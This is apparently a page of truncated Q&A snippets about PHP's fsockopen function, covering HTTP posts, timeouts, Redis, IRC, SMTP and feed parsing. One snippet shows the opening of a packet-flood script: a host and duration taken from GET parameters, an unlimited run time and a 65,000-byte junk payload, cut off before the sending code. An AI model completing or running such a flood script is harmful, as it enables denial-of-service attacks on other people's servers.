I am attempting to post data using fsockopen, and then returning the result.
Here is my current code:
<?php
$data="stuff=hoorah\r\n";
$data=urlencode($data);
$fp = fsockopen("www.website.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "POST /script.php HTTP/1.0\r\n";
$out .= "Hos...
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
$pakits = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
...
Here is a snippet of my code
$fp = fsockopen($s['url'], 80, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
When I run it, it outputs:
unable to connect to www.mydomain.net/1/file.php:80 (php_network_getaddresses: getaddrinfo failed: Name or service not known
I can't figu...
Hi all,
I need to download a text file using php code. The file is having http authentication. What procedure I should use for this. Should I use fsocketopen or curl or Is there any other way to do this?
I am using fsocketopen but it does not seem to work.
$fp=fsockopen("www.example.com",80,$errno,$errorstr);
$out = "GET abcdata/feed...
Take for example:
fsockopen(tcp:\\example.com, 80, $errno, $errstr, 5)
My friend has just informed me that PHP will always wait for the TCP handshake to be completed before closing the socket. However, I find it difficult to believe that PHP can't interrupt the handshake.
Is it possible? If so, how?
...
Hi,
I'm implementing PayPal IPN & PDT. After some headache & time at the sandbox, IPN is working well and PDT returns the correct $_GET data. The implementation is as follows:
Pass user ID in form to PayPal
User buys product and triggers IPN which updates database for given user ID
PDT returns transaction ID when user returns to site
...
Hi!
I am modifying a PHP db wrapper for the redis database.
Here's how my function looks:
public function connect() {
$sock = @fsockopen('localhost', '6379', $errno, $errstr, 2);
if ($sock === FALSE) {
return FALSE;
}
else {
stream_set_timeout($sock, 2);
return $sock;
}
}
What I want t...
I have a LAMP server running. External services connect to this server (services running on iPhone).
I want, from a php script, to get a list of all the services that have connected to the Apache server... How do I do it? Should I use fsockopen?
Any help would be greatly appreciated.
...
i have this piece of code:
<?php $host = "registration.mypengo.com";
$request = "/webregistration.aspx?taskaction=serviceresponse&partner=157&subid=" . $subid . "&msisdn=" . $msisdn . "&type=TEXT&data=" . $data . "&serviceid=" . $service_id;
$fp = fsockopen($host, 80, $errno, $errstr, 3.0);
if($fp)
{
fwrite($fp,
"GET $request HTT...
Im using this code here: http://www.digiways.com/articles/php/httpredirects/
public function ReadHttpFile($strUrl, $iHttpRedirectMaxRecursiveCalls = 5)
{
// parsing the url getting web server name/IP, path and port.
$url = parse_url($strUrl);
// setting path to '/' if not present in $strUrl
if (is...
I am trying to connect to an IRC server via PHP on a command line using Windows 7.
Everytime when running this:
$socket = fsockopen($irc_server, 6667, $errno, $errstr, 5);
$errno = 0, $errstr = "" and $socket = 'Resource id #4' (using die($socket);)
What is the cause of this, and how can I debug more into this.
The following code:
...
Hi guys, I'm working with zend framework and recently had terrible issue swith my code. Actually I'm developing a webfront for emails and users enter their mail server details and are able to check on their email via my system.
The issue is that whenever I would try to connect to a mailserver my system just dies out sometimes and instea...
I'm using fsockopen on a small cronjob to read and parse feeds on different servers. For the most past, this works very well. Yet on some servers, I get very weird lines in the response, like this:
<language>en</language>
<sy:updatePeriod>hourly</sy:updatePeriod>
<sy:updateFrequency>1</sy:updateFrequency>
11
<item>
<title>
1f
July...
Hi everyone,
I want to do an application that sends data to specified ip range.However,i faced a problem like this.When i put fsockopen function in a loop the code returns nothing and the page(browser page) is alwalys loading mode.When i do a single fsockopen to google it works but when i do it in a loop it doesnt...
Thanks for advance.....
This may seem kind of weird.. but I need to evaluate/parse chunks being sent over HTTP with PHP.
It's of note to say that the HTTP stream may never end. Is there any way I can parse chunks as I get them with CURL?
Or do I have to resort to some home-brewed fsockopen() solution?
...
Hello, there is a way to make a fsockopen with unlimited timeout ? Like CURLOPT_TIMEOUT=0 ?
...
I'm trying to connect to an SMTP server from my local machine (127.0.0.1). I'm able to connect to other SMTP servers, but this one in particular will not connect from my local machine, it will connect however from 4 other remote servers I have tested on.
I receive the following error trying to connect from my local machine:
Message...
Hi everyone,
I am having some slight problem with Twitter Oauth and fsock.
The reason I am using fsock, is to cater people that do not have curl installed.
So here goes my problem. I was able to use fsock to get the access token however when I use fsock to update twitter status. It returns me with an Internal Error 500.
Here is what I...
function checkServer($domain, $port=80)
{
global $checkTimeout, $testServer;
$status = 0;
$starttime = microtime(true);
$file = @fsockopen ($domain, $port, $errno, $errstr, $checkTimeout);
$stoptime = microtime(true);
if($file)
{
fclose($file);
$status = ($stoptime - $starttime) * 1000;
$status = floor($status);
}
else...
I'm trying to make the code below work with curl or something. I have already taken a look at the curl fsockopen conversion but it doesn't work. The code works except that fsockopen is disabled on my host. Any help will be appreciated.
$host = substr($hostport,0,50);
$port = substr($hostport,50,10);
$issecure = substr($hostport,60,1);
...